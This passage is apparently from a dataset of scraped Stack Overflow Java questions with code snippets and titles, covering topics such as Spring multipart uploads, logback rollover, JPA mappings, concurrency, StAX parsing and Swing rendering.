true ) ; List < Edge > edges = new ArrayList < > ( ) ; for ( String sideNodeName : connectedTo ) { Vertex vertexCon = GraphUtils.getVertexByName ( allNodes , sideNodeName ) ; if ( vertexCon == null ) { log.warning ( `` The ' '' + sideNodeName + `` ' node is not defined '' ) ; return ; } //A.adjacencies = new Edge [ ] { new Edge ( M , 8 ) } ; edges.add ( new Edge ( vertexCon , vertexCon.location.distance ( v.location ) ) ) ; } Edge [ ] arrayEdges = new Edge [ edges.size ( ) ] ; arrayEdges = edges.toArray ( arrayEdges ) ; v.adjacencies = arrayEdges ; } }",Graph and Dijkstra infinite loop ? +Java,"The Java 13 multi line text block facility with `` '' '' delimiters is becoming well known.However I have a recurring need where I need entire paragraphs without the embedded newlines.In other words , the following code snippet : produces the following , as you 'd expect : ... which is usually tremendously useful . However in my case , for particularly large paragraphs I need it to produce this : ( ... .and deal with text flow later . ) Is there a way to establish a `` no-newline '' parameter for the triple-quote feature ?",String paragraph = `` '' '' aaaa bbbb cccc dddd eeee ffff gggg hhhh iiii `` '' '' System.out.println ( paragraph ) ; aaaa bbbb ccccdddd eeee ffffgggg hhhh iiii aaaa bbbb cccc dddd eeee ffff gggg hhhh iiii,Java 13 Triple-quote Text Block *WITHOUT* newlines +Java,"I am looking for some advice on storing all possible permutations for the fringe pattern database.So the fifteen tile problem has 16 ! possible permutations , however storing the values for fringe so the 0 ( blank tile ) ,3,7,11,12,13,14,15 is 16 ! / ( 16-8 ) ! = 518,918,400 permutations . I am looking to store all of these permutations in a datastructure along with the value of the heuristic function ( which is just incremented each time a iteration of the breadth first search ) , so far I am doing so but very slowly and took me 5 minutes to store 60,000 which is time I do n't have ! At the moment I have a structure which looks like this.Where I store the position of the given numbers . I have to use these positions as the ID for when I am calculating the heuristic value I can quickly trawl through to the given composition and retrieve the value . I am pretty unsure about this . The state of the puzzle is represented by an array example : My question is what would be the best data structure to store these values ? and the best way to retrieve them . ( This question was originally based on storing in a database , but now I want to store them in some form of local data structure - as retrieving from a database slow )","Value Pos0 Pos3 Pos7 Pos11 Pos12 Pos13 Pos14 Pos15 int [ ] goalState = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 }",Pattern Databases Storing all permutations +Java,"I am sending multiple files with formData like thisIn my Spring MVC ControllerMy conf : But i got a 400 Bad Request in the browser And in the IDE I got : and if i try @ RequestPart ( `` attachOs [ ] [ ] '' ) MultipartFile [ ] [ ] attachOs i got always a bad request with Required request part 'attachOs [ ] [ ] ' is not presentThe problem is obvious : spring is searching just for attachOs part ( @ RequestPart ( `` attachOs '' ) ) but i am sending attachOs [ 0 ] [ 0 ] , attachOs [ 0 ] [ 1 ] ... When i send just the formJson part without files or if i send just a single file @ RequestPart ( `` attachOs '' ) MultipartFile attachOs or one dimension array of files @ RequestPart ( `` attachOs '' ) MultipartFile [ ] attachOs everything works fine.Javascript code : My formJson structure is I know that files can not be sent along with JSON that 's why i am constructing the formData above and after that i will delete the attachment property from JSON structureSo my questions :1 . How to fix the bad request issue ? 2 . is there another approach or design pattern to handle this use case ?","@ PostMapping ( value = `` /marches '' ) public Integer saveMarches ( @ RequestPart ( `` formJson '' ) FooBean formJson , @ RequestPart ( `` attachOs '' ) MultipartFile [ ] [ ] attachOs ) throws IOException { ... } @ Bean ( name = `` multipartResolver '' ) public CommonsMultipartResolver multipartResolver ( ) { CommonsMultipartResolver multipartResolver = new CommonsMultipartResolver ( ) ; multipartResolver.setMaxUploadSize ( 30000000 ) ; return multipartResolver ; } Resolved [ org.springframework.web.multipart.support.MissingServletRequestPartException : Required request part 'attachOs ' is not present ] const formData = new FormData ( ) ; for ( const [ i , os ] of formJson.os.entries ( ) ) { if ( os.attachment ) { for ( const [ j , file ] of [ ... os.attachment ] .entries ( ) ) { formData.append ( ` attachOs [ $ { i } ] [ $ { j } ] ` , file ) ; } } } ... formData.append ( 'formJson ' , new Blob ( [ JSON.stringify ( formJson ) ] , { type : 'application/json ' } ) ) ; ... axios ( { url : ... , method : 'POST ' , data : formData , } ) ... { // form fields ... os : [ { // os form fields ... attachment : [ { /* File type */ } , ... ] , // multiple files per os } , ... ] }",Issue with sending 2 dimensional array of files +Java,If I have a single class that implements both pre and post process will I be able to store things on the object between the preProcess call and postProcess call ? So really would this be legal ?,"@ ServerInterceptor @ Providerpublic class MyInterceptor implements PreProcessInterceptor , PostProcessInterceptor { private String url ; @ Override public ServerResponse preProcess ( HttpRequest request , ResourceMethod resourceMethod ) throws Failure , WebApplicationException { url = request.getUri ( ) .getRequestUri ( ) .toString ( ) ; return null ; } @ Override public void postProcess ( ServerResponse response ) { System.out.println ( url ) ; } }",Are resteasy interceptors thread safe between preProcess and postProcess ? +Java,"I 'm trying to floor ( not round ! ) doubles to two digits in a Java application . I use DecimalFormat for this , but noticed that for negative values close to zero , the values are not rounded to -0.01 but to -0.00 . Other solutions like Math.floor ( value * 100.0 ) / 100.0 does not have this issue but has other issues , like wrongly flooring 2.3 to 2.29.Is there a flooring solution for Java which works in all cases ?","public class MyTest { void formatAndPrint ( double value ) { DecimalFormat df = new DecimalFormat ( `` 0.00 '' ) ; df.setRoundingMode ( RoundingMode.FLOOR ) ; System.out.println ( value + `` = > `` + df.format ( value ) ) ; } @ Test public void testFloor ( ) { formatAndPrint ( 2.3289 ) ; // 2.32 formatAndPrint ( 2.3 ) ; // 2.30 formatAndPrint ( -1.172 ) ; // -1.18 formatAndPrint ( 0.001 ) ; // 0.00 formatAndPrint ( 0.0001 ) ; // 0.00 formatAndPrint ( -0.001 ) ; // -0.01 formatAndPrint ( -0.0001 ) ; // -0.00 WRONG , expected : -0.01 } }",How to correctly floor doubles in Java to two digits +Java,"I 'm doing a Java task that is like a simple bank system with Customer objects and SavingsAccount . I store all Customer objects in an arraylist and I was also planning to do the same with the SavingsAccount objects , but that is perhaps not necessary . Each SavingsAccount has a data member called accountNumber that is unique . The SavingsAccount also include data members lika accountBalance . So my question is how do I reach a SavingsAccount that has the accountNumber equal to `` 1002 '' ( For some reason I have them as Strings ) and then be able to set or get values from data member , like accountBalance with setAccountBalance ? Help is preciated ! Thanks ! I create the account objectThe class SavingsAccount : EDIT : Since I 'm learning Java , I prefer a solution that is not to complicated to use right now . I know how to use arraylist , but I have n't reach to the hashmap yet , and was hoping for a simplier , but perhaps not the best , solution for now ? Is n't there a way to reach objects without `` collecting '' them in arraylist or hashmap ?",SavingsAccount account = new SavingsAccount ( inAccount ) ; class SavingsAccount { // data membersprivate String accountType ; private String accountNumber ; private double accountInterestRate ; private int accountBalance ; // constructorpublic SavingsAccount ( String inNumber ) { accountType = `` Saving '' ; accountNumber = inNumber ; accountInterestRate = 0.5 ; accountBalance = 0 ; } // get account numberpublic String getAccountNumber ( ) { return accountNumber ; } // get account balancepublic int getAccountBalance ( ) { return accountBalance ; } // get interest ratepublic double getAccountInterestRate ( ) { return accountInterestRate ; } // set new value to balance public void setAccountBalance ( int inMoney ) { accountBalance = accountBalance + inMoney ; } },Find an object with a data member with a unique value in Java ? +Java,"I have the following two classes ( in two separate files ) .My question is , why is n't the compiler able to recorgnise that by Foo.A , I meant the class A , not the member , which also happens to be named A ?",public class Foo { public static class A { public static final boolean FLAG = false ; } public final A A = new A ( ) ; } public class Bar { void method ( ) { if ( Foo.A.FLAG ) < < < < this is giving `` Can not make static ref to non-static field // do something ; } },Why is n't the Java compiler ( specifically its parser ) able to understand this statement +Java,"I 'm making an update function for my project , it 's working great , until i want it to restart , basically I download the new file and replace it with the old one , and then i want to run it again , now for some reason it does n't wna run , and i do n't get any error ... Here is the complete update class : http : //dl.dropbox.com/u/38414202/Update.txtHere is the method i 'm using to run my .jar file :",String currDir = new File ( `` ( CoN ) .jar '' ) .getAbsolutePath ( ) ; Process runManager = Runtime.getRuntime ( ) .exec ( `` java -jar `` + currDir ) ;,How can i run a .jar file in java +Java,"I 'm working on a project where we index relatively small documents/sentences , and we want to search these indexes using large documents as query . Here is a relatively simple example : I 'm indexing document : And i want to query using the following input : What is the best approach for this in Lucene ? For simple examples , where the text i want to find is exactly the input query , i get better results using my own analyzer + a PhraseQuery than using QueryParser.parse ( QueryParser.escape ( ... my large input ... ) ) - which ends up creating a big Boolean/Term Query.But i ca n't try to use a PhraseQuery approach for a real world example , i think i have to use a word N-Gram approach like the ShingleAnalyzerWrapper but as my input documents can be quite large the combinatorics will become hard to handle ... In other words , i 'm stuck and any idea would be greatly appreciated : ) P.S . i did n't mention it but one of the annoying thing with indexing small documents is also that due to `` norms '' -value ( float ) being encoded on only 1 byte , all 3-4 words sentences get the same Norm Value , so searching sentences like `` A B C '' makes results `` A B C '' and `` A B C D '' show up with the same score.Thanks !","docId : 1text : `` back to black '' `` Released on 25 July 1980 , Back in Black was the first AC/DC album recorded without former lead singer Bon Scott , who died on 19 February at the age of 33 , and was dedicated to him . ''",Handling large search queries on relatively small index documents in Lucene +Java,I need to enable global method security.The problem is when I add the annotation @ EnableGlobalMethodSecurity ( prePostEnabled = true ) - I get an error as following : The problem is from AuthenticationTrustResolver beanThis is the security config classTIA,"Caused by : org.springframework.beans.factory.UnsatisfiedDependencyException : Error creating bean with name 'securityConfiguration ' : Unsatisfied dependency expressed through method 'setTrustResolver ' parameter 0 ; nested exception is org.springframework.beans.factory.BeanCurrentlyInCreationException : Error creating bean with name 'getAuthenticationTrustResolver ' : Requested bean is currently in creation : Is there an unresolvable circular reference ? at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor $ AutowiredMethodElement.inject ( AutowiredAnnotationBeanPostProcessor.java:667 ) at org.springframework.beans.factory.annotation.InjectionMetadata.inject ( InjectionMetadata.java:88 ) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues ( AutowiredAnnotationBeanPostProcessor.java:366 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean ( AbstractAutowireCapableBeanFactory.java:1225 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:552 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:483 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:306 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:197 ) at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod ( ConstructorResolver.java:372 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod ( AbstractAutowireCapableBeanFactory.java:1134 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance ( AbstractAutowireCapableBeanFactory.java:1028 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:513 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:483 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:306 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:202 ) at org.springframework.beans.factory.config.DependencyDescriptor.resolveCandidate ( DependencyDescriptor.java:207 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency ( DefaultListableBeanFactory.java:1136 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency ( DefaultListableBeanFactory.java:1064 ) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor $ AutowiredMethodElement.inject ( AutowiredAnnotationBeanPostProcessor.java:659 ) ... 189 moreCaused by : org.springframework.beans.factory.BeanCurrentlyInCreationException : Error creating bean with name 'getAuthenticationTrustResolver ' : Requested bean is currently in creation : Is there an unresolvable circular reference ? at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.beforeSingletonCreation ( DefaultSingletonBeanRegistry.java:347 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:223 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:202 ) at org.springframework.beans.factory.config.DependencyDescriptor.resolveCandidate ( DependencyDescriptor.java:207 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency ( DefaultListableBeanFactory.java:1136 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency ( DefaultListableBeanFactory.java:1064 ) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor $ AutowiredMethodElement.inject ( AutowiredAnnotationBeanPostProcessor.java:659 ) ... 211 more @ Configuration @ EnableWebSecurity @ EnableGlobalMethodSecurity ( prePostEnabled = true ) public class SecurityConfiguration extends WebSecurityConfigurerAdapter { @ Autowired @ Qualifier ( `` customUserDetailsService '' ) UserDetailsService userDetailsService ; @ Autowired PersistentTokenRepository tokenRepository ; @ Autowired public void configureGlobalSecurity ( AuthenticationManagerBuilder auth ) throws Exception { auth.userDetailsService ( userDetailsService ) ; auth.authenticationProvider ( authenticationProvider ( ) ) ; } @ Override protected void configure ( HttpSecurity http ) throws Exception { http . authorizeRequests ( ) . antMatchers ( `` /test/** '' ) .permitAll ( ) . antMatchers ( `` /admin/** '' ) .access ( `` hasRole ( 'ADMIN ' ) '' ) . and ( ) .formLogin ( ) .loginPage ( `` /login '' ) . defaultSuccessUrl ( `` /success-callback '' ) . loginProcessingUrl ( `` /login '' ) .usernameParameter ( `` username '' ) .passwordParameter ( `` password '' ) . and ( ) .rememberMe ( ) .rememberMeParameter ( `` remember-me '' ) .tokenRepository ( tokenRepository ) . tokenValiditySeconds ( 86400 * 2 ) ; // and ( ) .// csrf ( ) .ignoringAntMatchers ( `` /api/** '' ) .ignoringAntMatchers ( `` /test/** '' ) ; } @ Bean public PasswordEncoder passwordEncoder ( ) { return new BCryptPasswordEncoder ( ) ; } @ Bean public DaoAuthenticationProvider authenticationProvider ( ) { DaoAuthenticationProvider authenticationProvider = new DaoAuthenticationProvider ( ) ; authenticationProvider.setUserDetailsService ( userDetailsService ) ; authenticationProvider.setPasswordEncoder ( passwordEncoder ( ) ) ; return authenticationProvider ; } @ Bean public PersistentTokenBasedRememberMeServices getPersistentTokenBasedRememberMeServices ( ) { PersistentTokenBasedRememberMeServices tokenBasedservice = new PersistentTokenBasedRememberMeServices ( `` remember-me '' , userDetailsService , tokenRepository ) ; return tokenBasedservice ; } @ Bean public AuthenticationTrustResolver getAuthenticationTrustResolver ( ) { return new AuthenticationTrustResolverImpl ( ) ; } }",Getting error when I use @ EnableGlobalMethodSecurity ( prePostEnabled = true ) +Java,"I have a logback configured using the RollingFileAppender to rollover to a new log file with the SizeAndTimeBasedFNATP policy . I have it set up to rollover to a new file based on the day or based on the size . At that time , it will also compress the old log into a zip file.Something like this : Is there a way to get logback to make a copy of the zipped log at rollover time to a second location ? Note that I want to keep one copy in the original location , but copy the file to a second location . ( I need to keep the file in the original location for some period of time , but then delete it . The copied file will stay present indefinitely . )",< appender name= '' xyz '' class= '' ch.qos.logback.core.rolling.RollingFileAppender '' > < rollingPolicy class= '' ch.qos.logback.core.rolling.TimeBasedRollingPolicy '' > < fileNamePattern > % d { yyyy/MM/dd } /log.zip < /fileNamePattern > < timeBasedFileNamingAndTriggeringPolicy class= '' ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP '' > < maxFileSize > 100MB < /maxFileSize > < /timeBasedFileNamingAndTriggeringPolicy > < /rollingPolicy > < /appender >,Can logback make a copy at rollover time ? +Java,"I have a situation where an entity could use another entity , and it could be used by another , so i have defined a ManyToMany relation that reference the same entity , so i could have listUse and listUsedBy , and both are persisted in the same table entity_usage : Exemple : Entity A could use Entity B and C , so Entity B and C are used by A . Now my problem is when i add B and C to listUse , they are persisted in entity_usage , but when try to display listUsedBy i have to redeploy my project , otherwise listUsedBy remains empty , is there a way to refresh listUsedBy when persist my entity without having to redeploy my project .","@ ManyToMany @ JoinTable ( name = `` entity_usage '' , joinColumns = { @ JoinColumn ( name = `` id_use '' , referencedColumnName = `` id '' ) } , inverseJoinColumns = { @ JoinColumn ( name = `` id_used_by '' , referencedColumnName = `` id '' ) } ) private List < Entity > listUse ; @ ManyToMany @ JoinTable ( name = `` entity_usage '' , joinColumns = { @ JoinColumn ( name = `` id_use_by '' , referencedColumnName = `` id '' ) } , inverseJoinColumns = { @ JoinColumn ( name = `` id_use '' , referencedColumnName = `` id '' ) } ) private List < Entity > listUsedBy ;",How to use the @ ManyToMany with two lists on the same table +Java,I 'm currently in the process of learning Java concurrency . And I am very surprised by the way following code behaves.Should n't it output 90000 all the time ? Instead the result differs all the time .,import java.util.concurrent . * ; public class Exercise { static int counter = 0 ; static synchronized int getAndIncrement ( ) { return counter++ ; } static class Improper implements Runnable { @ Override public void run ( ) { for ( int i = 0 ; i < 300 ; i++ ) { getAndIncrement ( ) ; } } } public static void main ( String [ ] args ) { ExecutorService executorService = Executors.newFixedThreadPool ( 3 ) ; for ( int i = 0 ; i < 300 ; i++ ) { executorService.submit ( new Improper ( ) ) ; } executorService.shutdown ( ) ; System.out.println ( counter ) ; } },Strange concurrent code behavior +Java,"I 've been reading the API documentation of Instance < T > and Provider < T > , but it is n't completely clear when they should be used . What 's the difference between the following approaches ?",@ InjectMyBean bean ; @ InjectInstance < MyBean > bean ; @ InjectProvider < MyBean > bean ;,When should Instance < T > and Provider < T > be used to inject beans in CDI ? +Java,"I 've posted about letters earlier , but this is an another topic , I have a json response that contain 2 objects , from and to , from is what to change , and to is what it will be changed to .My code is : For example , the json response is : String.replace ( ) method wo n't work here , because first it will replace a to bhduh , then b to eieja , BUT here 's the problem , it will convert b in bhduh to eieja , which i do n't want to . I want to perfectly convert the letters and `` words '' in the String according the Json , but that what i 'm failing at .New Code : Output :","// for example , the EnteredText is `` ab b test a b '' .EnteredString = EnteredText.getText ( ) .toString ( ) ; for ( int i = 0 ; i < m_jArry.length ( ) ; i++ ) { JSONObject jo_inside = m_jArry.getJSONObject ( i ) ; String Original = jo_inside.getString ( `` from '' ) ; String To = jo_inside.getString ( `` to '' ) ; if ( isMethodConvertingIn ) { EnteredString = EnteredString.replace ( `` `` , '' _ '' ) ; EnteredString = EnteredString.replace ( Original , To + `` `` ) ; } else { EnteredString = EnteredString.replace ( `` _ '' , '' `` ) ; EnteredString = EnteredString.replace ( To + `` `` , Original ) ; } } LoadingProgress.setVisibility ( View.GONE ) ; SetResultText ( EnteredString ) ; ShowResultCardView ( ) ; { `` Response '' : [ { `` from '' : '' a '' , '' to '' : '' bhduh '' } , { `` from '' : '' b '' , '' to '' : '' eieja '' } , { `` from '' : '' tes '' , '' to '' : '' neesj '' } ] } if ( m_jArry.length ( ) > 0 ) { HashMap < String , String > m_li ; EnteredString = EnteredText.getText ( ) .toString ( ) ; Log.i ( `` TestAf_ '' , '' Before Converting : `` + EnteredString ) ; HashMap < String , String > replacements = new HashMap < String , String > ( ) ; for ( int i = 0 ; i < m_jArry.length ( ) ; i++ ) { JSONObject jo_inside = m_jArry.getJSONObject ( i ) ; String Original = jo_inside.getString ( `` from '' ) ; String To = jo_inside.getString ( `` to '' ) ; if ( isMethodConvertingIn ) { //EnteredString = EnteredString.replace ( `` `` , '' _ '' ) ; replacements.put ( Original , To ) ; Log.i ( `` TestAf_ '' , '' From : `` + Original + `` - To : `` + To + `` - Loop : `` + i ) ; //EnteredString = EnteredString.replace ( `` `` , '' _ '' ) ; //EnteredString = EnteredString.replace ( Original , To + `` `` ) ; } else { EnteredString = EnteredString.replace ( `` _ '' , '' `` ) ; EnteredString = EnteredString.replace ( `` ' '' + To + `` ' '' , Original ) ; } } Log.i ( `` TestAf_ '' , '' After Converting : `` + replaceTokens ( EnteredString , replacements ) ) ; // Replace Logic Here // When Finish , Do : LoadingProgress.setVisibility ( View.GONE ) ; SetResultText ( replaceTokens ( EnteredString , replacements ) ) ; ShowResultCardView ( ) ; 10-10 19:51:19.757 12113-12113/ ? I/TestAf_ : Before Converting : ab a ba10-10 19:51:19.757 12113-12113/ ? I/TestAf_ : From : a - To : bhduh - Loop : 010-10 19:51:19.757 12113-12113/ ? I/TestAf_ : From : b - To : eieja - Loop : 110-10 19:51:19.757 12113-12113/ ? I/TestAf_ : From : o - To : neesj - Loop : 210-10 19:51:19.758 12113-12113/ ? I/TestAf_ : After Converting : ab a ba",Multiple string replacements without affecting substituted text in subsequent iterations +Java,"I 'm attempting to write a Junit test which should test if the order of elements in two LinkedHashSets are the same . The follwoing is my existing code : This test is successful even if I give it compares a , d , c , b against a , b , c , d and thus not considering the ordering of elements . How can I go about asserting based on the ordering ?","Assert.assertEquals ( Sets.newLinkedHashSet ( Arrays.asList ( `` a '' , '' d '' , '' c '' , '' b '' ) ) , conf.getSetInfo ( ) ) ;",Junit test for order in LinkedHashSet +Java,"I want to extract specific nodes from a large XML file . That works well , until a wild CDATA without any content appears.The output : The code : The XML that raises the error : Can I make the Transformer to just ignore that ? Or what would another implementation look like ? I 'm not able to change the input XML !","ERROR : `` javax.xml.transform.TransformerException : java.lang.IndexOutOfBoundsException at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform ( TransformerImpl.java:732 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform ( TransformerImpl.java:336 ) at xml_test.XML_Test.extractXML2 ( XML_Test.java:698 ) at xml_test.XML_Test.main ( XML_Test.java:811 ) Caused by : java.lang.IndexOutOfBoundsException at com.sun.org.apache.xerces.internal.impl.XMLStreamReaderImpl.getTextCharacters ( XMLStreamReaderImpl.java:1143 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.handleCharacters ( StAXStream2SAX.java:261 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.bridge ( StAXStream2SAX.java:171 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.parse ( StAXStream2SAX.java:120 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transformIdentity ( TransformerImpl.java:674 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform ( TransformerImpl.java:723 ) ... 3 more -- -- -- -- -java.lang.IndexOutOfBoundsException at com.sun.org.apache.xerces.internal.impl.XMLStreamReaderImpl.getTextCharacters ( XMLStreamReaderImpl.java:1143 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.handleCharacters ( StAXStream2SAX.java:261 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.bridge ( StAXStream2SAX.java:171 ) at com.sun.org.apache.xalan.internal.xsltc.trax.StAXStream2SAX.parse ( StAXStream2SAX.java:120 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transformIdentity ( TransformerImpl.java:674 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform ( TransformerImpl.java:723 ) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform ( TransformerImpl.java:336 ) at xml_test.XML_Test.extractXML2 ( XML_Test.java:698 ) at xml_test.XML_Test.main ( XML_Test.java:811 ) InputStream stream = new FileInputStream ( `` C : \\myFile.xml '' ) ; XMLInputFactory factory = XMLInputFactory.newInstance ( ) ; XMLStreamReader reader = factory.createXMLStreamReader ( stream ) ; TransformerFactory tf = TransformerFactory.newInstance ( ) ; Transformer t = tf.newTransformer ( ) ; String extractPath = `` /root '' ; String path = `` '' ; while ( reader.hasNext ( ) ) { reader.next ( ) ; if ( reader.isStartElement ( ) ) { path += `` / '' + reader.getLocalName ( ) ; if ( path.equals ( extractPath ) ) { StringWriter writer = new StringWriter ( ) ; StAXSource src = new StAXSource ( reader ) ; StreamResult res = new StreamResult ( writer ) ; t.transform ( src , res ) ; // Exception thrown System.out.println ( writer.toString ( ) ) ; path = path.substring ( 0 , path.lastIndexOf ( `` / '' ) ) ; } } else if ( reader.isEndElement ( ) ) { path = path.substring ( 0 , path.lastIndexOf ( `` / '' ) ) ; } } < foo > < ! [ CDATA [ ] ] > < /foo >",IndexOutOfBoundsException when processing empty CDATA with Transformer +Java,"I 've always created rectangles with outlines like this ( using Graphics ( 2D ) ) : This works fine , except with some colors like Color.BLUE . There are lines that do n't have the same thickness : May be hard to see on the first sight , but if you look closely you will realize that the left line is too thick and the right line is too thin . This happens also with other colors , just not so obviously : ( I 'm still not sure if this happens with cyan , ca n't exactly tell ) I ca n't make sense of this because the black line is just being drawn onto the inner blue rectangle , the inner rectangle should n't have an effect on it . ( without fillRect ( ) the lines have even thicknesses ) I 've provided an example below that will probably help you see the difference better . My Question : Why is this happening with certain RGB-colors and how do I fix it ?","g.setColor ( aColor ) ; g.fillRect ( x , y , width , height ) ; g.setColor ( anotherColor ) ; g.drawRect ( x , y , width , height ) ; import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.EventQueue ; import java.awt.FlowLayout ; import java.awt.Graphics ; import java.awt.GridLayout ; import java.awt.event.ItemEvent ; import java.awt.event.ItemListener ; import java.util.HashMap ; import javax.swing.JComboBox ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.JToggleButton ; import javax.swing.WindowConstants ; public class LineExample { Color colors [ ] = new Color [ ] { Color.BLACK , Color.BLUE , Color.CYAN , Color.DARK_GRAY , Color.GRAY , Color.GREEN , Color.LIGHT_GRAY , Color.MAGENTA , Color.ORANGE , Color.PINK , Color.RED , Color.WHITE , Color.YELLOW } ; String colorNames [ ] = new String [ ] { `` Black '' , `` Blue '' , `` Cyan '' , `` Dark Gray '' , `` Gray '' , `` Green '' , `` Light Gray '' , `` Magenta '' , `` Orange '' , `` Pink '' , `` Red '' , `` White '' , `` Yellow '' } ; HashMap < String , Color > hashMap = new HashMap < String , Color > ( ) ; Color currentColor = colors [ 2 ] ; public LineExample ( ) { fillHashMap ( hashMap ) ; JFrame frame = new JFrame ( ) ; JPanel mainPanel = new JPanel ( new BorderLayout ( ) ) ; JPanel northPanel = new JPanel ( new FlowLayout ( ) ) ; JPanel centerPanel = new JPanel ( new GridLayout ( 1 , 2 ) ) ; CustomPanel customPanel = new CustomPanel ( ) ; BluePanel bluePanel = new BluePanel ( ) ; JComboBox < String > comboBox = new JComboBox < String > ( ) ; addItems ( comboBox ) ; comboBox.addItemListener ( new ItemListener ( ) { @ Override public void itemStateChanged ( ItemEvent e ) { currentColor = hashMap.get ( comboBox.getSelectedItem ( ) ) ; centerPanel.repaint ( ) ; } } ) ; JToggleButton toggleButton = new JToggleButton ( `` Switch '' ) ; toggleButton.addItemListener ( new ItemListener ( ) { @ Override public void itemStateChanged ( ItemEvent e ) { centerPanel.removeAll ( ) ; if ( e.getStateChange ( ) == ItemEvent.SELECTED ) { centerPanel.add ( bluePanel ) ; centerPanel.add ( customPanel ) ; } else if ( e.getStateChange ( ) == ItemEvent.DESELECTED ) { centerPanel.add ( customPanel ) ; centerPanel.add ( bluePanel ) ; } centerPanel.revalidate ( ) ; centerPanel.repaint ( ) ; } } ) ; northPanel.add ( comboBox ) ; northPanel.add ( toggleButton ) ; centerPanel.add ( customPanel ) ; centerPanel.add ( bluePanel ) ; mainPanel.add ( northPanel , BorderLayout.NORTH ) ; mainPanel.add ( centerPanel , BorderLayout.CENTER ) ; frame.setContentPane ( mainPanel ) ; frame.setDefaultCloseOperation ( WindowConstants.EXIT_ON_CLOSE ) ; frame.setSize ( 250 , 250 ) ; frame.setVisible ( true ) ; } public void addItems ( JComboBox < String > comboBox ) { for ( int i = 0 ; i < colors.length ; i++ ) { comboBox.addItem ( colorNames [ i ] ) ; } comboBox.setSelectedIndex ( 2 ) ; } public void fillHashMap ( HashMap < String , Color > hashmap ) { for ( int i = 0 ; i < colors.length ; i++ ) { hashMap.put ( colorNames [ i ] , colors [ i ] ) ; } } public static void main ( String [ ] args ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new LineExample ( ) ; } } ) ; } public class BluePanel extends JPanel { @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; int width = 100 ; int height = 100 ; int x = ( ( this.getWidth ( ) - width ) / 2 ) ; int y = ( ( this.getHeight ( ) - height ) / 2 ) ; g.setColor ( Color.BLUE ) ; g.fillRect ( x , y , width , height ) ; g.setColor ( Color.BLACK ) ; g.drawRect ( x , y , width , height ) ; } } public class CustomPanel extends JPanel { @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; int width = 100 ; int height = 100 ; int x = ( ( this.getWidth ( ) - width ) / 2 ) ; int y = ( ( this.getHeight ( ) - height ) / 2 ) ; g.setColor ( currentColor ) ; g.fillRect ( x , y , width , height ) ; g.setColor ( Color.BLACK ) ; g.drawRect ( x , y , width , height ) ; } } }",drawRect ( ) is n't working properly on certain colors +Java,"I have been using Google Analytics for basic analytics for my web app - just tracking page impressions using javascript calls like this : This approach has always frustrated me because I could n't reliably capture some server-side events . I have just discovered I can use Measurement Protocol to record events server-side . Recording the events on my server looks easy , except regarding the cid ( clientid ) parameter ... What I understand is that on the browser , with the javascript I currently have the cid gets randomly created and then stored in the _ga cookie . I also understand that I should share that clientid/cid value between client ( 'page view ' ) and server ( other events ) calls for the same client so that they are 